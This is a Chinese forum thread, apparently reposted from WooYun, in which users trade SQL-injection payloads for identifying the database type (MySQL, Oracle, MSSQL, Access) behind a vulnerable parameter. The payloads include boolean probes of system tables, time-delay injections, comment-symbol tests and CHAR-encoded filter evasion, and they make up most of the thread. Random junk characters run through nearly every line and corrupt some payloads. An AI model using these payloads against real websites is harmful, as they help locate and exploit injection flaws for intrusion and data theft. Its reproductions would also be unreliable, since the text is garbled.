找回密码
 立即注册
查看: 2794|回复: 0
打印 上一主题 下一主题

一个注射点如何最快速确认是什么类型数据库

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-11 09:54:04 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
一个注射点如何最快速确认是什么类型数据库
- a7 M8 B! W# Q, @xsser (十根阳具有长短!!) | 2013-02-05 12:36  A, q/ u6 f$ K: p/ u
假设这么一个注射点:
5 ?, s9 `) m$ S* d! bshow.html?id=2; w" l3 X) q3 R+ x0 x2 k3 S
mysql:id=2 and version()>0) Z& X2 j- v; \7 i
oracle:id=2 and '1'||'1'='11- i* w+ O; C3 I
其他的欢迎补充9 I' ?9 e% v! w' j
1#
3 v# Y# |' N2 X9 Vupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47. f- l9 X6 z) s- E& X) u. e5 W* _  W
Access:/ L. j7 \1 k, O
aNd aSc(cHr(97))=97
9 @4 J4 W( x" H% `8 Y2 G, ]and exists(select id from MSysAccessObjects)
! a# A3 A* n' S' H! TSQL Server:% l. F8 m( M  [* z1 @+ j# V& ?
and exists(select id from sysobjects)" T8 w- p! I3 B& |0 b6 l7 d
and length(user)>08 H5 q+ ~* H) f4 q( r
MySQL:
, [" i3 ^8 L7 a' q# s/ iand length(user())>0
8 {+ d# v. M7 H2#
. n5 @) |3 B1 S7 x& x- U! Exsser (十根阳具有长短!!) | 2013-02-05 12:484 s6 P: D/ D. Y: E! M
@upload 如果这些都不是呢…! l, a, U; Q" L5 P
3#
9 h% G7 P! D( G% y! D, N3 c) aupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
* K- x$ B9 ?1 |@xsser 不快速的,延时注入9 s; M$ u) y2 l& g
不知道这样写对不对$ C. C* l3 s$ Q/ f$ A& m
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
% Z! M0 p/ \* H7 n. Imysql:id=2 and select benchmark(1e8,current_date());3 B/ U( A$ `: q8 E. c. w/ F% C" ]# P
4#( c7 F, }( g2 h: @9 U1 ^2 n  n: s
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
) f8 J( K5 B6 Z  G& j最快的貌似是看报错信息* y0 @4 A$ o% O# Q( ?
oracle error& u( ?* m* [& l' Z
mssql error
. R$ o; p) C/ P6 N1 fmysql error/ U- ^3 R5 V2 B# w* s
5#* @) t& M5 v3 d+ Q
Nimda (你们都是坏银~) | 2013-02-05 13:14# J! c0 @( A& q3 i  ^$ i
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
  E1 L, ?# c9 e! w9 p$ p3 T( C6#
3 Z7 o& Y: m$ K" Oupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21) Z+ y- u1 h& Z' s6 G) U4 G
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:) L4 z8 W2 b! A2 p' ]) K/ A
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
. C5 m+ B& ~% [( |5 M& g# O! w“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。5 k5 `4 `2 ]- v- U8 h8 q& w
7#
0 {: m0 }: ]3 B. X2 g: z* e0 B_Evil (HackEnd) | 2013-02-05 13:33
, u! _0 C' O5 B: S# n. iPostgreSQL
7 y1 j' ?' D; x1 j% P8#0 V2 g/ d% p* R2 p8 n
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42- M2 W$ D4 v& M! r
切换编码 and 1=1
/ n( F2 C5 j7 w/ l& n* ?1 E: uoracle:
7 Z2 Z* R0 Y. t# j% L8 W& l3 cCHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
- z/ O5 C# U/ D, \& X. M9 `5 |( H) |mssql:
4 _# ~+ `8 k8 K- {0 jCHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
* f. H3 }- Z3 L( d+ F) \% Emysql:
5 |" c$ c$ @! J# m1 d  OCHAR(97, 110, 100, 32, 49, 61, 49)" H- I. A% u) @3 o6 P: b8 H! b+ J
9#
) [0 R6 ?, R& pxsser (十根阳具有长短!!) | 2013-02-05 14:31$ v( ?" r2 z* r2 \
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
& G6 R7 s/ X( T1 o' w- h10#
! w3 r; T7 Y, z0 T+ cupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46$ M4 }/ C) b" ^3 O
@xsser 是奇葩数据库类型的么?9 s" C0 m; q$ e
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:& u# k8 Y; T: L; w6 x' b
1.是否可以使用特定的函数来判断,该数据库特有的
( u) y7 B  `# o3 [2 y2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等" R8 y, X/ q4 ^/ q& S5 e% o
3.是否可以编码查询5 i4 P  N; ^0 A4 u( @
4.是否显可以利用错信息
( p6 A7 x) j4 B5 k$ M, v& Q2 D5.是否存在数据库某些特性辅助判断& c+ T  T6 a) u8 O8 Z0 ^
个人见解2 ]7 X2 I: g5 O
11#
8 o/ L8 j' }( R小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55" _$ j% |" t" G5 m& h/ V
已收藏,mssql可以直接看到错误提示的吧~
, P4 K$ g' s# M4 V12#, [+ m& [* G  V5 a$ X4 X: r" I
Passer_by | 2013-02-05 15:09" [6 }8 c; t9 c  b# R2 n' x  @
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。! k- M8 i$ Q% v( B! z, N* L. P
from:http://zone.wooyun.org/content/260
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表